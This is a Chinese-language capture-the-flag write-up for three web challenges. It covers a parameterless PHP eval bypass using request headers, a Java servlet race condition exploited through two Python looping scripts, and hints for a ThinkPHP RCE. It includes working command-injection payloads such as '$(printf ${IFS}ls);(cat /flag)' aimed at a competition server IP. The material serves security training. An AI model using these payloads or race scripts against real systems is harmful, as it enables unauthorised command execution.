Web
tls_new_web1
阅读代码发现是无参数RCE,并且过滤了大多数的php函数
<?php
highlight_file(__FILE__);
$exp = $_GET['exp'];
//php7.3 + Apache
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $exp)) {
if(!preg_match("/o|v|b|print|var|time|file|sqrt|path|dir|exp|pi|an|na|en|ex|et|na|dec|true|false|[0-9]/i", $exp)){
eval($exp);
}else{
exit('NoNoNo,U R Hacker~');
}
}else{
exit("What's this?");
}
What's this?
题目中提示 php7.3 + Apache 故可以使用apache_request_headers()函数进行绕过
使用array_shift()函数,die()函数,进行输出显示
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。
发现其回显了HOST的IP地址,所以可以在host行插入命令对文件进行读取
挨个目录寻找最终得到flag
flag{ee3ab774-9be9-11eb-9f52-2c16dba1fec7}
tls_new_web2
下载附件得到源码,看到在方法外定义的isok变量,然后没有任何防止线程安全的操作就知道是servlet线程安全问题
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@WebServlet("/test")
public class Test extends HttpServlet {
public int isok;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse response) throws ServletException, IOException {
isok=1;
String cmd = req.getParameter("cmd");
if(cmd==null){
response.getWriter().write("please input get cmd");
}
String status = req.getParameter("status");
if(status.equals("isok")){
isok=0;
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
if(isok==0){
return;
}
if(status.equals("isok")){
try {
response.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(response, new Object[]{new Integer(200)});
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
Pattern p = Pattern.compile("\\$\\(printf .*?\\)");
Matcher m = p.matcher(cmd);
boolean b = m.matches();
if(b){
// response.getWriter().write(cmd);
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();
response.getOutputStream().write(result);
response.getOutputStream().flush();
response.getOutputStream().close();
}
}else{
response.getWriter().write("no no no~");
}
}
}
status传递的参数中既要包含isok又不能包含isok所以我们需要俩个不同的请求进行条件竞争,最后在这里可以进行命令注入
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();
response.getOutputStream().write(result);
1.py
import requests
#$(printf ${IFS}ls)
#$(printf ${IFS}env)
#$(printf ${IFS}ls);
(cat /flag)payload="$(printf ${IFS}ls);(cat /flag)"
url=f"http://82.156.76.166:8083/test?status=isok&cmd={payload}"
while True:
contents=requests.get(url)
print(contents.text)
if "flag" in contents.text:
print(contents.text)
break
2.py
import requests
url="http://82.156.76.166:8083/test?status=iserror"
while True:
contents=requests.get(url)
print(contents.text)
if "flag" in contents.text:
print(contents.text)
break
最后的命令注入有个细节就是不能让注入的命令报错,起初做的时候使用的命令是$(printf $(cat /flag)),虽然在本地可以正常执行但是因为报错不能在靶机上使用成功,最后使用;来链接命令成功执行拿到flag
#$(printf ${IFS}ls)
#$(printf ${IFS}env)
#$(printf ${IFS}ls);(cat /flag)
tls_new_web3
给到了Hint如下:
1. thinkphp RCE
2. 反序列化
3. 文件包含
首先第一个Hint,ThinkPHPRCE,那很容易会想到框架本身的RCE,通过报错页面也能看到框架版本,然后工具一顿梭哈就行了。